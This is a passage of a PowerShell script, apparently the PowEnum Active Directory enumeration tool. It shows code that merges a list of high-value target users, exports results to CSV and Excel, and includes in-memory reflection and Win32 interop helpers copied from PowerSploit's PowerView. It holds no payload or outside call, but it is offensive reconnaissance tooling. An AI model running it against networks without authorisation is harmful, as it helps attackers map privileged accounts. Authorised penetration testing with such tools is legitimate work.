  634.             }
  635.             elseif ($UsernameCount -eq 1) {
  636.                     $CombinedUserObject = ($UserObjectList | Select-Object -First 1 MemberName,MemberDomain,@{n='Sources';e={$_.Source}})
  637.                     $NewHVTList += $CombinedUserObject
  638.                     continue
  639.             }
  640.         }
  641.        
  642.         $temp = $NewHVTList | Select-Object * -Unique
  643.         PowEnum-ExportAndCount -TypeEnum Summary
  644.     }catch {Write-Host "Error: $_" -ForegroundColor Red}
  645. }
  646.  
  647. function PowEnum-ExportAndCount {
  648.     Param(
  649.         [Parameter(Position = 0)]
  650.         [String]
  651.         $TypeEnum
  652.     )
  653.    
  654.     if($temp -ne $null){
  655.        
  656.         #Grab the file name and the full path
  657.         $exportfilename = $FQDN.Substring(0,$FQDN.IndexOf(".")) + '_' + $TypeEnum + '.csv'
  658.         $exportfilepath = (Get-Item -Path ".\" -Verbose).FullName + '\' + $exportfilename
  659.        
  660.         #Perform the actual export
  661.         $temp | Select-Object * | Export-CSV -NoTypeInformation -Path ('.\' + $exportfilename)
  662.  
  663.         #Create new file object and add to array
  664.         $ExportSheetFile = new-object psobject
  665.         $ExportSheetFile | add-member NoteProperty Name $exportfilename
  666.         $ExportSheetFile | add-member NoteProperty FullName $exportfilepath
  667.        
  668.         if($TypeEnum -eq "Summary") {
  669.             $TempExportSheetFileArray = @()
  670.             $TempExportSheetFileArray = $script:ExportSheetFileArray
  671.             $script:ExportSheetFileArray = @()
  672.             $script:ExportSheetFileArray += $ExportSheetFile
  673.             $script:ExportSheetFileArray += $TempExportSheetFileArray
  674.         }
  675.         else {$script:ExportSheetFileArray += $ExportSheetFile}
  676.        
  677.         $count = $temp | measure-object | select-object -expandproperty Count
  678.     }
  679.     if($temp -eq $null){
  680.         $count = 0
  681.     }
  682.     Write-Host "$count Identified" -ForegroundColor Green
  683.     $script:ExportSheetCount++
  684. }
  685.  
  686. function PowEnum-ExcelFile {
  687.     Param(
  688.         [Parameter(Position = 0, Mandatory = $True)]
  689.         [String]
  690.         $SpreadsheetName
  691.     )
  692.     if ($NoExcel -eq $True) {Return}
  693.    
  694.     try {
  695.         Write-Host "[ ]Combining csv file(s) to xlsx | " -NoNewLine -ForegroundColor Cyan
  696.        
  697.         #Exit if enumeration resulting in nothing
  698.         if($script:ExportSheetFileArray.Count -eq 0){Write-Warning "No Data Identified"; Return}
  699.        
  700.         $path = (Get-Item -Path ".\" -Verbose).FullName
  701.         $XLOutput =  $path + "\" +
  702.             $FQDN + "_" +
  703.             $SpreadsheetName.Substring($SpreadsheetName.IndexOf("_")+1) + "_" +
  704.             $(get-random) + ".xlsx"
  705.  
  706.         # Create Excel object (visible), workbook and worksheet
  707.         $Excel = New-Object -ComObject excel.application
  708.         $Excel.visible = $false
  709.         $Excel.sheetsInNewWorkbook = $script:ExportSheetFileArray.Count
  710.         $workbooks = $excel.Workbooks.Add()
  711.         $CSVSheet = 1
  712.  
  713.         Foreach ($CSV in $script:ExportSheetFileArray) {
  714.  
  715.             $worksheets = $workbooks.worksheets
  716.             $CSVFullPath = $CSV.FullName
  717.            
  718.             $CSVName = ($CSV.name -split "\.")[0]
  719.             $SheetName = ($CSVName.Substring($CSVName.LastIndexOf("_")+1))
  720.             $worksheet = $worksheets.Item($CSVSheet)
  721.             $worksheet.Name = $SheetName
  722.            
  723.             # Define the connection string and the starting cell for the data
  724.             $TxtConnector = ("TEXT;" + $CSVFullPath)
  725.             $CellRef = $worksheet.Range("A1")
  726.  
  727.             # Build, use and remove the text file connector
  728.             $Connector = $worksheet.QueryTables.add($TxtConnector,$CellRef)
  729.             $worksheet.QueryTables.item($Connector.name).TextFileCommaDelimiter = $True
  730.             $worksheet.QueryTables.item($Connector.name).TextFileParseType  = 1
  731.             $Null = $worksheet.QueryTables.item($Connector.name).Refresh()
  732.             $worksheet.QueryTables.item($Connector.name).delete()
  733.  
  734.             # Autofit the columns, freeze the top row
  735.             $worksheet.UsedRange.EntireColumn.ColumnWidth = 15
  736.             #$worksheet.Application.ActiveWindow.SplitRow = 1
  737.             #$worksheet.Application.ActiveWindow.FreezePanes = $true
  738.  
  739.             # Set color & border to top header row
  740.             $Selection = $worksheet.cells.Item(1,1).EntireRow
  741.             $Selection.Interior.ColorIndex = 37
  742.             $Null = $Selection.BorderAround(1)
  743.             $Selection.Font.Bold=$True
  744.            
  745.             $CSVSheet++
  746.         }
  747.  
  748.         # Save workbook and close Excel
  749.         $workbooks.SaveAs($XLOutput,51)
  750.         $workbooks.Saved = $true
  751.         $workbooks.Close()
  752.         $Null = [System.Runtime.Interopservices.Marshal]::ReleaseComObject($workbooks)
  753.         $Excel.Quit()
  754.         $Null = [System.Runtime.Interopservices.Marshal]::ReleaseComObject($Excel)
  755.         $CSVSheet--
  756.         Write-Host "$CSVSheet Sheet(s) Processed" -ForegroundColor Green
  757.        
  758.     }catch{Write-Host "Error: Is Excel Installed?" -ForegroundColor Red}
  759. }
  760.  
  761.  
  762.  
  763. ##########
  764. #                                                                                        
  765. #   THESE ARE FUNCTIONS TAKEN DIRECTLY FROM POWERVIEW
  766. #   https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1
  767. #   Author: Will Schroeder (@harmj0y)
  768. #                                                                                        
  769. ##########
  770.  
  771.  
  772. function New-InMemoryModule {
  773.  
  774.  
  775.     [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')]
  776.     [CmdletBinding()]
  777.     Param (
  778.         [Parameter(Position = 0)]
  779.         [ValidateNotNullOrEmpty()]
  780.         [String]
  781.         $ModuleName = [Guid]::NewGuid().ToString()
  782.     )
  783.  
  784.     $AppDomain = [Reflection.Assembly].Assembly.GetType('System.AppDomain').GetProperty('CurrentDomain').GetValue($null, @())
  785.     $LoadedAssemblies = $AppDomain.GetAssemblies()
  786.  
  787.     foreach ($Assembly in $LoadedAssemblies) {
  788.         if ($Assembly.FullName -and ($Assembly.FullName.Split(',')[0] -eq $ModuleName)) {
  789.             return $Assembly
  790.         }
  791.     }
  792.  
  793.     $DynAssembly = New-Object Reflection.AssemblyName($ModuleName)
  794.     $Domain = $AppDomain
  795.     $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, 'Run')
  796.     $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule($ModuleName, $False)
  797.  
  798.     return $ModuleBuilder
  799. }
  800.  
  801. function func {
  802.     Param (
  803.         [Parameter(Position = 0, Mandatory = $True)]
  804.         [String]
  805.         $DllName,
  806.  
  807.         [Parameter(Position = 1, Mandatory = $True)]
  808.         [string]
  809.         $FunctionName,
  810.  
  811.         [Parameter(Position = 2, Mandatory = $True)]
  812.         [Type]
  813.         $ReturnType,
  814.  
  815.         [Parameter(Position = 3)]
  816.         [Type[]]
  817.         $ParameterTypes,
  818.  
  819.         [Parameter(Position = 4)]
  820.         [Runtime.InteropServices.CallingConvention]
  821.         $NativeCallingConvention,
  822.  
  823.         [Parameter(Position = 5)]
  824.         [Runtime.InteropServices.CharSet]
  825.         $Charset,
  826.  
  827.         [String]
  828.         $EntryPoint,
  829.  
  830.         [Switch]
  831.         $SetLastError
  832.     )
  833.  
  834.     $Properties = @{
  835.         DllName = $DllName
  836.         FunctionName = $FunctionName
  837.         ReturnType = $ReturnType
  838.     }
  839.  
  840.     if ($ParameterTypes) { $Properties['ParameterTypes'] = $ParameterTypes }
  841.     if ($NativeCallingConvention) { $Properties['NativeCallingConvention'] = $NativeCallingConvention }
  842.     if ($Charset) { $Properties['Charset'] = $Charset }
  843.     if ($SetLastError) { $Properties['SetLastError'] = $SetLastError }
  844.     if ($EntryPoint) { $Properties['EntryPoint'] = $EntryPoint }
  845.  
  846.     New-Object PSObject -Property $Properties
  847. }
  848.  
  849. function Add-Win32Type {
  850.  
  851.     [OutputType([Hashtable])]
  852.     Param(
  853.         [Parameter(Mandatory=$True, ValueFromPipelineByPropertyName=$True)]
  854.         [String]
  855.         $DllName,
  856.  
  857.         [Parameter(Mandatory=$True, ValueFromPipelineByPropertyName=$True)]
  858.         [String]
  859.         $FunctionName,
  860.  
  861.         [Parameter(ValueFromPipelineByPropertyName=$True)]
  862.         [String]
  863.         $EntryPoint,
  864.  
  865.         [Parameter(Mandatory=$True, ValueFromPipelineByPropertyName=$True)]
  866.         [Type]
  867.         $ReturnType,
  868.  
  869.         [Parameter(ValueFromPipelineByPropertyName=$True)]
  870.         [Type[]]
  871.         $ParameterTypes,
  872.  
  873.         [Parameter(ValueFromPipelineByPropertyName=$True)]
  874.         [Runtime.InteropServices.CallingConvention]
  875.         $NativeCallingConvention = [Runtime.InteropServices.CallingConvention]::StdCall,
  876.  
  877.         [Parameter(ValueFromPipelineByPropertyName=$True)]
  878.         [Runtime.InteropServices.CharSet]
  879.         $Charset = [Runtime.InteropServices.CharSet]::Auto,
  880.  
  881.         [Parameter(ValueFromPipelineByPropertyName=$True)]
  882.         [Switch]
  883.         $SetLastError,
  884.  
  885.         [Parameter(Mandatory=$True)]
  886.         [ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})]
  887.         $Module,
  888.  
  889.         [ValidateNotNull()]
  890.         [String]
  891.         $Namespace = ''
  892.     )
  893.  
  894.     BEGIN
  895.     {
  896.         $TypeHash = @{}
  897.     }
  898.  
  899.     PROCESS
  900.     {
  901.         if ($Module -is [Reflection.Assembly])
  902.         {
  903.             if ($Namespace)
  904.             {
  905.                 $TypeHash[$DllName] = $Module.GetType("$Namespace.$DllName")
  906.             }
  907.             else
  908.             {
  909.                 $TypeHash[$DllName] = $Module.GetType($DllName)
  910.             }
  911.         }
  912.         else
  913.         {
  914.             # Define one type for each DLL
  915.             if (!$TypeHash.ContainsKey($DllName))
  916.             {
  917.                 if ($Namespace)
  918.                 {
  919.                     $TypeHash[$DllName] = $Module.DefineType("$Namespace.$DllName", 'Public,BeforeFieldInit')
  920.                 }
  921.                 else
  922.                 {
  923.                     $TypeHash[$DllName] = $Module.DefineType($DllName, 'Public,BeforeFieldInit')
  924.                 }
  925.             }
  926.  
  927.             $Method = $TypeHash[$DllName].DefineMethod(
  928.                 $FunctionName,
  929.                 'Public,Static,PinvokeImpl',
  930.                 $ReturnType,
  931.                 $ParameterTypes)
  932.  
  933.             # Make each ByRef parameter an Out parameter
  934.             $i = 1
  935.             foreach($Parameter in $ParameterTypes)
  936.             {
  937.                 if ($Parameter.IsByRef)
  938.                 {
  939.                     [void] $Method.DefineParameter($i, 'Out', $null)
  940.                 }
  941.  
  942.                 $i++
  943.             }
  944.  
  945.             $DllImport = [Runtime.InteropServices.DllImportAttribute]
  946.             $SetLastErrorField = $DllImport.GetField('SetLastError')
  947.             $CallingConventionField = $DllImport.GetField('CallingConvention')
  948.             $CharsetField = $DllImport.GetField('CharSet')
  949.             $EntryPointField = $DllImport.GetField('EntryPoint')
  950.             if ($SetLastError) { $SLEValue = $True } else { $SLEValue = $False }
  951.  
  952.             if ($PSBoundParameters['EntryPoint']) { $ExportedFuncName = $EntryPoint } else { $ExportedFuncName = $FunctionName }
  953.  
  954.             # Equivalent to C# version of [DllImport(DllName)]
  955.             $Constructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor([String])
  956.             $DllImportAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($Constructor,
  957.                 $DllName, [Reflection.PropertyInfo[]] @(), [Object[]] @(),
  958.                 [Reflection.FieldInfo[]] @($SetLastErrorField,
  959.                                            $CallingConventionField,
  960.                                            $CharsetField,
  961.                                            $EntryPointField),
  962.                 [Object[]] @($SLEValue,
  963.                              ([Runtime.InteropServices.CallingConvention] $NativeCallingConvention),
  964.                              ([Runtime.InteropServices.CharSet] $Charset),
  965.                              $ExportedFuncName))
  966.  
  967.             $Method.SetCustomAttribute($DllImportAttribute)
  968.         }
  969.     }
  970.  
  971.     END
  972.     {
  973.         if ($Module -is [Reflection.Assembly])
  974.         {
  975.             return $TypeHash
  976.         }
  977.  
  978.         $ReturnTypes = @{}
  979.  
  980.         foreach ($Key in $TypeHash.Keys)
  981.         {
  982.             $Type = $TypeHash[$Key].CreateType()
  983.  
  984.             $ReturnTypes[$Key] = $Type
  985.         }
  986.  
  987.         return $ReturnTypes
  988.     }
  989. }
  990.  
  991. function psenum {
  992. <#
  993. .SYNOPSIS
  994.  
  995. Creates an in-memory enumeration for use in your PowerShell session.
  996.  
  997. Author: Matthew Graeber (@mattifestation)
  998. License: BSD 3-Clause
  999. Required Dependencies: None
  1000. Optional Dependencies: None
  1001.  
  1002. .DESCRIPTION
  1003.  
  1004. The 'psenum' function facilitates the creation of enums entirely in
  1005. memory using as close to a "C style" as PowerShell will allow.
  1006.  
  1007. .PARAMETER Module
  1008.  
  1009. The in-memory module that will host the enum. Use
  1010. New-InMemoryModule to define an in-memory module.
  1011.  
  1012. .PARAMETER FullName
  1013.  
  1014. The fully-qualified name of the enum.
  1015.  
  1016. .PARAMETER Type
  1017.  
  1018. The type of each enum element.
  1019.  
  1020. .PARAMETER EnumElements
  1021.  
  1022. A hashtable of enum elements.
  1023.  
  1024. .PARAMETER Bitfield
  1025.  
  1026. Specifies that the enum should be treated as a bitfield.
  1027.  
  1028. .EXAMPLE
  1029.  
  1030. $Mod = New-InMemoryModule -ModuleName Win32
  1031.  
  1032. $ImageSubsystem = psenum $Mod PE.IMAGE_SUBSYSTEM UInt16 @{
  1033.     UNKNOWN =                  0
  1034.     NATIVE =                   1 # Image doesn't require a subsystem.
  1035.     WINDOWS_GUI =              2 # Image runs in the Windows GUI subsystem.
  1036.     WINDOWS_CUI =              3 # Image runs in the Windows character subsystem.
  1037.     OS2_CUI =                  5 # Image runs in the OS/2 character subsystem.
  1038.     POSIX_CUI =                7 # Image runs in the Posix character subsystem.
  1039.     NATIVE_WINDOWS =           8 # Image is a native Win9x driver.
  1040.     WINDOWS_CE_GUI =           9 # Image runs in the Windows CE subsystem.
  1041.     EFI_APPLICATION =          10
  1042.     EFI_BOOT_SERVICE_DRIVER =  11
  1043.     EFI_RUNTIME_DRIVER =       12
  1044.     EFI_ROM =                  13
  1045.     XBOX =                     14
  1046.     WINDOWS_BOOT_APPLICATION = 16
  1047. }
  1048.  
  1049. .NOTES
  1050.  
  1051. PowerShell purists may disagree with the naming of this function but
  1052. again, this was developed in such a way so as to emulate a "C style"
  1053. definition as closely as possible. Sorry, I'm not going to name it
  1054. New-Enum. :P
  1055. #>
  1056.  
  1057.     [OutputType([Type])]
  1058.     Param (
  1059.         [Parameter(Position = 0, Mandatory=$True)]
  1060.         [ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})]
  1061.         $Module,
  1062.  
  1063.         [Parameter(Position = 1, Mandatory=$True)]
  1064.         [ValidateNotNullOrEmpty()]
  1065.         [String]
  1066.         $FullName,
  1067.  
  1068.         [Parameter(Position = 2, Mandatory=$True)]
  1069.         [Type]
  1070.         $Type,
  1071.  
  1072.         [Parameter(Position = 3, Mandatory=$True)]
  1073.         [ValidateNotNullOrEmpty()]
  1074.         [Hashtable]
  1075.         $EnumElements,
  1076.  
  1077.         [Switch]
  1078.         $Bitfield
  1079.     )
  1080.  
  1081.     if ($Module -is [Reflection.Assembly])
  1082.     {
  1083.         return ($Module.GetType($FullName))
  1084.     }
  1085.  
  1086.     $EnumType = $Type -as [Type]
  1087.  
  1088.     $EnumBuilder = $Module.DefineEnum($FullName, 'Public', $EnumType)
  1089.  
  1090.     if ($Bitfield)
  1091.     {
  1092.         $FlagsConstructor = [FlagsAttribute].GetConstructor(@())
  1093.         $FlagsCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($FlagsConstructor, @())
  1094.         $EnumBuilder.SetCustomAttribute($FlagsCustomAttribute)
  1095.     }
  1096.  
  1097.     foreach ($Key in $EnumElements.Keys)
  1098.     {
  1099.         # Apply the specified enum type to each element
  1100.         $null = $EnumBuilder.DefineLiteral($Key, $EnumElements[$Key] -as $EnumType)
  1101.     }
  1102.  
  1103.     $EnumBuilder.CreateType()
  1104. }
  1105.  
  1106. function field {
  1107.     Param (
  1108.         [Parameter(Position = 0, Mandatory=$True)]
  1109.         [UInt16]
  1110.         $Position,
  1111.  
  1112.         [Parameter(Position = 1, Mandatory=$True)]
  1113.         [Type]
  1114.         $Type,
  1115.  
  1116.         [Parameter(Position = 2)]
  1117.         [UInt16]
  1118.         $Offset,
  1119.  
  1120.         [Object[]]
  1121.         $MarshalAs
  1122.     )
  1123.  
  1124.     @{
  1125.         Position = $Position
  1126.         Type = $Type -as [Type]
  1127.         Offset = $Offset
  1128.         MarshalAs = $MarshalAs
  1129.     }
  1130. }
  1131.  
  1132. function struct {
  1133.  
  1134.  
  1135.     [OutputType([Type])]
  1136.     Param (
  1137.         [Parameter(Position = 1, Mandatory=$True)]
  1138.         [ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})]
  1139.         $Module,
  1140.  
  1141.         [Parameter(Position = 2, Mandatory=$True)]
  1142.         [ValidateNotNullOrEmpty()]
  1143.         [String]
  1144.         $FullName,
  1145.  
  1146.         [Parameter(Position = 3, Mandatory=$True)]
  1147.         [ValidateNotNullOrEmpty()]
  1148.         [Hashtable]
  1149.         $StructFields,
  1150.  
  1151.         [Reflection.Emit.PackingSize]
  1152.         $PackingSize = [Reflection.Emit.PackingSize]::Unspecified,
  1153.  
  1154.         [Switch]
  1155.         $ExplicitLayout
  1156.     )
  1157.  
  1158.     if ($Module -is [Reflection.Assembly])
  1159.     {
  1160.         return ($Module.GetType($FullName))
  1161.     }
  1162.  
  1163.     [Reflection.TypeAttributes] $StructAttributes = 'AnsiClass,
  1164.         Class,
  1165.         Public,
  1166.         Sealed,
  1167.         BeforeFieldInit'
  1168.  
  1169.     if ($ExplicitLayout)
  1170.     {
  1171.         $StructAttributes = $StructAttributes -bor [Reflection.TypeAttributes]::ExplicitLayout
  1172.     }
  1173.     else
  1174.     {
  1175.         $StructAttributes = $StructAttributes -bor [Reflection.TypeAttributes]::SequentialLayout
  1176.     }
  1177.  
  1178.     $StructBuilder = $Module.DefineType($FullName, $StructAttributes, [ValueType], $PackingSize)
  1179.     $ConstructorInfo = [Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0]
  1180.     $SizeConst = @([Runtime.InteropServices.MarshalAsAttribute].GetField('SizeConst'))
  1181.  
  1182.     $Fields = New-Object Hashtable[]($StructFields.Count)
  1183.  
  1184.     # Sort each field according to the orders specified
  1185.     # Unfortunately, PSv2 doesn't have the luxury of the
  1186.     # hashtable [Ordered] accelerator.
  1187.     foreach ($Field in $StructFields.Keys)
  1188.     {
  1189.         $Index = $StructFields[$Field]['Position']
  1190.         $Fields[$Index] = @{FieldName = $Field; Properties = $StructFields[$Field]}
  1191.     }
  1192.  
  1193.     foreach ($Field in $Fields)
  1194.     {
  1195.         $FieldName = $Field['FieldName']
  1196.         $FieldProp = $Field['Properties']
  1197.  
  1198.         $Offset = $FieldProp['Offset']
  1199.         $Type = $FieldProp['Type']
  1200.         $MarshalAs = $FieldProp['MarshalAs']
  1201.  
  1202.         $NewField = $StructBuilder.DefineField($FieldName, $Type, 'Public')
  1203.  
  1204.         if ($MarshalAs)
  1205.         {
  1206.             $UnmanagedType = $MarshalAs[0] -as ([Runtime.InteropServices.UnmanagedType])
  1207.             if ($MarshalAs[1])
  1208.             {
  1209.                 $Size = $MarshalAs[1]
  1210.                 $AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo,
  1211.                     $UnmanagedType, $SizeConst, @($Size))
  1212.             }
  1213.             else
  1214.             {
  1215.                 $AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, [Object[]] @($UnmanagedType))
  1216.             }
  1217.  
  1218.             $NewField.SetCustomAttribute($AttribBuilder)
  1219.         }
  1220.  
  1221.         if ($ExplicitLayout) { $NewField.SetOffset($Offset) }
  1222.     }
  1223.  
  1224.     # Make the struct aware of its own size.
  1225.     # No more having to call [Runtime.InteropServices.Marshal]::SizeOf!
  1226.     $SizeMethod = $StructBuilder.DefineMethod('GetSize',
  1227.         'Public, Static',
  1228.         [Int],
  1229.         [Type[]] @())
  1230.     $ILGenerator = $SizeMethod.GetILGenerator()
  1231.     # Thanks for the help, Jason Shirk!
  1232.     $ILGenerator.Emit([Reflection.Emit.OpCodes]::Ldtoken, $StructBuilder)
  1233.     $ILGenerator.Emit([Reflection.Emit.OpCodes]::Call,
  1234.         [Type].GetMethod('GetTypeFromHandle'))
  1235.     $ILGenerator.Emit([Reflection.Emit.OpCodes]::Call,
  1236.         [Runtime.InteropServices.Marshal].GetMethod('SizeOf', [Type[]] @([Type])))
  1237.     $ILGenerator.Emit([Reflection.Emit.OpCodes]::Ret)
  1238.  
  1239.     # Allow for explicit casting from an IntPtr
  1240.     # No more having to call [Runtime.InteropServices.Marshal]::PtrToStructure!
  1241.     $ImplicitConverter = $StructBuilder.DefineMethod('op_Implicit',
  1242.         'PrivateScope, Public, Static, HideBySig, SpecialName',
  1243.         $StructBuilder,
  1244.         [Type[]] @([IntPtr]))
  1245.     $ILGenerator2 = $ImplicitConverter.GetILGenerator()
  1246.     $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Nop)
  1247.     $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ldarg_0)
  1248.     $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ldtoken, $StructBuilder)
  1249.     $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Call,
  1250.         [Type].GetMethod('GetTypeFromHandle'))
  1251.     $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Call,
  1252.         [Runtime.InteropServices.Marshal].GetMethod('PtrToStructure', [Type[]] @([IntPtr], [Type])))
  1253.     $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Unbox_Any, $StructBuilder)
  1254.     $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ret)
  1255.  
  1256.     $StructBuilder.CreateType()
  1257. }
  1258.  
  1259. Function New-DynamicParameter {
  1260. <#
  1261. .SYNOPSIS
  1262.  
  1263. Helper function to simplify creating dynamic parameters.
  1264.  
  1265.     Adapated from https://beatcracker.wordpress.com/2015/08/10/dynamic-parameters-validateset-and-enums/.
  1266.     Originally released under the Microsoft Public License (Ms-PL).
  1267.  
  1268. .DESCRIPTION
  1269.  
  1270. Helper function to simplify creating dynamic parameters.
  1271.  
  1272. Example use cases:
  1273.     Include parameters only if your environment dictates it
  1274.     Include parameters depending on the value of a user-specified parameter
  1275.     Provide tab completion and intellisense for parameters, depending on the environment
  1276.  
  1277. Please keep in mind that all dynamic parameters you create, will not have corresponding variables created.
  1278.     Use New-DynamicParameter with 'CreateVariables' switch in your main code block,
  1279.     ('Process' for advanced functions) to create those variables.
  1280.     Alternatively, manually reference $PSBoundParameters for the dynamic parameter value.
  1281.  
  1282. This function has two operating modes:
  1283.  
  1284. 1. All dynamic parameters created in one pass using pipeline input to the function. This mode allows to create dynamic parameters en masse,
  1285. with one function call. There is no need to create and maintain custom RuntimeDefinedParameterDictionary.
  1286.  
  1287. 2. Dynamic parameters are created by separate function calls and added to the RuntimeDefinedParameterDictionary you created beforehand.
  1288. Then you output this RuntimeDefinedParameterDictionary to the pipeline. This allows more fine-grained control of the dynamic parameters,
  1289. with custom conditions and so on.
  1290.  
  1291. .NOTES
  1292.  
  1293. Credits to jrich523 and ramblingcookiemonster for their initial code and inspiration:
  1294.     https://github.com/RamblingCookieMonster/PowerShell/blob/master/New-DynamicParam.ps1
  1295.     http://ramblingcookiemonster.wordpress.com/2014/11/27/quick-hits-credentials-and-dynamic-parameters/
  1296.     http://jrich523.wordpress.com/2013/05/30/powershell-simple-way-to-add-dynamic-parameters-to-advanced-function/
  1297.  
  1298. Credit to BM for alias and type parameters and their handling
  1299.  
  1300. .PARAMETER Name
  1301.  
  1302. Name of the dynamic parameter
  1303.  
  1304. .PARAMETER Type
  1305.  
  1306. Type for the dynamic parameter.  Default is string
  1307.  
  1308. .PARAMETER Alias
  1309.  
  1310. If specified, one or more aliases to assign to the dynamic parameter
  1311.  
  1312. .PARAMETER Mandatory
  1313.  
  1314. If specified, set the Mandatory attribute for this dynamic parameter
  1315.  
  1316. .PARAMETER Position
  1317.  
  1318. If specified, set the Position attribute for this dynamic parameter
  1319.  
  1320. .PARAMETER HelpMessage
  1321.  
  1322. If specified, set the HelpMessage for this dynamic parameter
  1323.  
  1324. .PARAMETER DontShow
  1325.  
  1326. If specified, set the DontShow for this dynamic parameter.
  1327. This is the new PowerShell 4.0 attribute that hides parameter from tab-completion.
  1328. http://www.powershellmagazine.com/2013/07/29/pstip-hiding-parameters-from-tab-completion/
  1329.  
  1330. .PARAMETER ValueFromPipeline
  1331.  
  1332. If specified, set the ValueFromPipeline attribute for this dynamic parameter
  1333.  
  1334. .PARAMETER ValueFromPipelineByPropertyName
  1335.  
  1336. If specified, set the ValueFromPipelineByPropertyName attribute for this dynamic parameter
  1337.  
  1338. .PARAMETER ValueFromRemainingArguments
  1339.  
  1340. If specified, set the ValueFromRemainingArguments attribute for this dynamic parameter
  1341.  
  1342. .PARAMETER ParameterSetName
  1343.  
  1344. If specified, set the ParameterSet attribute for this dynamic parameter. By default parameter is added to all parameters sets.
  1345.  
  1346. .PARAMETER AllowNull
  1347.  
  1348. If specified, set the AllowNull attribute of this dynamic parameter
  1349.  
  1350. .PARAMETER AllowEmptyString
  1351.  
  1352. If specified, set the AllowEmptyString attribute of this dynamic parameter
  1353.  
  1354. .PARAMETER AllowEmptyCollection
  1355.  
  1356. If specified, set the AllowEmptyCollection attribute of this dynamic parameter
  1357.  
  1358. .PARAMETER ValidateNotNull
  1359.  
  1360. If specified, set the ValidateNotNull attribute of this dynamic parameter
  1361.  
  1362. .PARAMETER ValidateNotNullOrEmpty
  1363.  
  1364. If specified, set the ValidateNotNullOrEmpty attribute of this dynamic parameter
  1365.  
  1366. .PARAMETER ValidateRange
  1367.  
  1368. If specified, set the ValidateRange attribute of this dynamic parameter
  1369.  
  1370. .PARAMETER ValidateLength
  1371.  
  1372. If specified, set the ValidateLength attribute of this dynamic parameter
  1373.  
  1374. .PARAMETER ValidatePattern
  1375.  
  1376. If specified, set the ValidatePattern attribute of this dynamic parameter
  1377.  
  1378. .PARAMETER ValidateScript
  1379.  
  1380. If specified, set the ValidateScript attribute of this dynamic parameter
  1381.  
  1382. .PARAMETER ValidateSet
  1383.  
  1384. If specified, set the ValidateSet attribute of this dynamic parameter
  1385.  
  1386. .PARAMETER Dictionary
  1387.  
  1388. If specified, add resulting RuntimeDefinedParameter to an existing RuntimeDefinedParameterDictionary.
  1389. Appropriate for custom dynamic parameters creation.
  1390.  
  1391. If not specified, create and return a RuntimeDefinedParameterDictionary
  1392. Appropriate for a simple dynamic parameter creation.
  1393. #>
  1394.  
  1395.     [CmdletBinding(DefaultParameterSetName = 'DynamicParameter')]
  1396.     Param (
  1397.         [Parameter(Mandatory = $true, ValueFromPipeline = $true, ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')]
  1398.         [ValidateNotNullOrEmpty()]
  1399.         [string]$Name,
  1400.  
  1401.         [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')]
  1402.         [System.Type]$Type = [int],
  1403.  
  1404.         [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')]
  1405.         [string[]]$Alias,
  1406.  
  1407.         [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')]
  1408.         [switch]$Mandatory,
  1409.  
  1410.         [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')]
  1411.         [int]$Position,
  1412.  
  1413.         [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')]
  1414.         [string]$HelpMessage,
  1415.  
  1416.         [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')]
  1417.         [switch]$DontShow,
  1418.  
  1419.         [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')]
  1420.         [switch]$ValueFromPipeline,
  1421.  
  1422.         [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')]
  1423.         [switch]$ValueFromPipelineByPropertyName,
  1424.  
  1425.         [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')]
  1426.         [switch]$ValueFromRemainingArguments,
  1427.  
  1428.         [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')]
  1429.         [string]$ParameterSetName = '__AllParameterSets',
  1430.  
  1431.         [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')]
  1432.         [switch]$AllowNull,
  1433.  
  1434.         [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')]
  1435.         [switch]$AllowEmptyString,
  1436.  
  1437.         [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')]
  1438.         [switch]$AllowEmptyCollection,
  1439.  
  1440.         [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')]
  1441.         [switch]$ValidateNotNull,
  1442.  
  1443.         [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')]
  1444.         [switch]$ValidateNotNullOrEmpty,
  1445.  
  1446.         [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')]
  1447.         [ValidateCount(2,2)]
  1448.         [int[]]$ValidateCount,
  1449.  
  1450.         [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')]
